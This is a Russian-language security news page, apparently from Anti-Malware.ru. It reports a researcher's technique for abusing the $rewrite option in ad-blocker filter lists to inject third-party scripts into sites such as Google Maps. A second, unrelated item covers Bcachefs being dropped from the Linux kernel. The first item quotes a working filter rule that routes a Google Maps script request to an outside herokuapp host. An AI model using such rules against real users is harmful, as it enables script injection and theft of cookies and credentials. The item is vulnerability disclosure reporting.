Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Новый эксплойт, недавно обнаруженный экспертом в области кибербезопасности, способен использовать фильтры популярных блокировщиков рекламы Adblock Plus, AdBlock и uBlocker для инъекции сторонних скриптов в код страниц веб-сайтов.

Adblock Plus, AdBlock и uBlocker представляют собой специальные расширения для браузеров, помогающие пользователям скрывать надоедливую и агрессивную рекламу со страниц ресурсов.

База пользователей этих блокировщиков насчитывает более 10 миллионов человек. Таким образом, если злоумышленнику удастся внедрить вредоносные скрипты, он получит возможность красть файлы cookie, учетные данные, а также осуществлять нужные ему редиректы.

Работа блокировщиков рекламы завязана на использовании списка URL, на которых был отмечен рекламный контент или даже вредоносное поведение. Тот же Adblock Plus, например, запрещает браузеру подключаться к этим ссылкам, следовательно, рекламные скрипты не в состоянии загрузиться.

Вся проблема кроется в опции списка фильтров под названием $rewrite, которая была представлена в 2018 году (в Adblocker Plus 3.2). Эта функция позволяет разработчику подменить запрос, совпадающий с определенным регулярным выражением, другим URL.

Единственное условие — заменяемая строка должна быть относительным URL-адресом. Таким образом, если запрос для example.com/ad.gif заменить на example.com/puppies.gif, пользователь вместо рекламы увидит картинку с милыми щенками.

При этом разработчики предусмотрели защиту, запретив запросы вида SCRIPT, SUBDOCUMENT, OBJECT и OBJECT_SUBREQUEST — с ними эта функция не будет работать.

Однако исследователь Армин Себастьян нашел способ, позволяющий создать правило, благодаря которому сторонний скрипт можно встроить в контент конкретного сайта.

Для этого потребуется найти ресурс, который допускает загрузку скриптов со сторонних доменов, а также использует XMLHttpRequest или Fetch для загрузки скриптов. Сам Себастьян довольно быстро нашел такой ресурс — он использовал Google Maps для демонстрации уязвимости.

Google Maps использует XMLHttpRequest для загрузки скриптов, что позволило эксперту воспользоваться функцией фильтров $rewrite для задействования скрипта со стороннего домена. Пример:

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1

Если пользователь в этом случае посетит google[.]com/maps/, фильтр использует редиректы Google для считывания контента с majestic-ramsons.herokuapp[.]com/.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Линус Торвальдс снова в ударе: Bcachefs исключают из ядра Linux

Ничто так не скрашивает выходной, как очередной конфликт в сообществе Linux-разработчиков. На этот раз всё громче обычного: Линус Торвальдс решил исключить Bcachefs из состава ядра, начиная с версии 6.17. Повод? Мягко говоря, не сошлись характерами с его мейнтейнером — Кентом Оверстритом.

Bcachefs — это COW-файловая система (copy-on-write), которая гордо заявляет, что «не ест ваши данные».

На практике же она вызвала у Линуса скорее несварение. Конфликт назревал давно, но последний гвоздь в крышку — это спор о том, когда и как можно вносить изменения.

Во время RC-фазы (релиз-кандидата) для ядра 6.16, когда, по негласным правилам, принимаются только баг-фиксы, Кент прислал фичу — «journal-rewind», улучшение для восстановления данных. Линус не оценил. Мол, это не просто мелкая правка, а потенциальный источник регрессий. Даже Теодор Цзо (известный разработчик ext4) подключился и напомнил: правила есть правила, и Linus стоит на их страже.

Кент, в свою очередь, не отступил. Он аргументировал, что защита пользовательских данных важнее расписаний, а в других файловых системах — XFS и Btrfs — похожие патчи тоже принимали в RC. Он повторно отправил изменения, и Линус даже принял их. Но уже с прицелом на то, чтобы полностью отказаться от Bcachefs в следующем окне слияния (merge window).

В своём ответе Кент попытался смягчить ситуацию, отметив, что не хотел «выдавливать» Линуса из процесса и ценит его идеи. Но и уступать, когда речь идёт о целостности данных пользователей, не собирается.

«Это весело — делать крутые штуки с тобой, когда мы не сражаемся. Но тебе тоже стоит понимать, под какими ограничениями работают другие».

В общем, очередная драма в стиле open source: принципы, эмоции, немного пассивной агрессии — и всё это на фоне многолетнего труда над ядром. Bcachefs, возможно, ещё вернётся. Но пока что, как сказал сам Линус, «мы закончили».

Следить за всей этой историей можно в рассылках ядра Linux — в тредах 6.16-rc3 и rc4. Но если коротко: Линус всё ещё держит планку, и идти против него — затея с последствиями.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru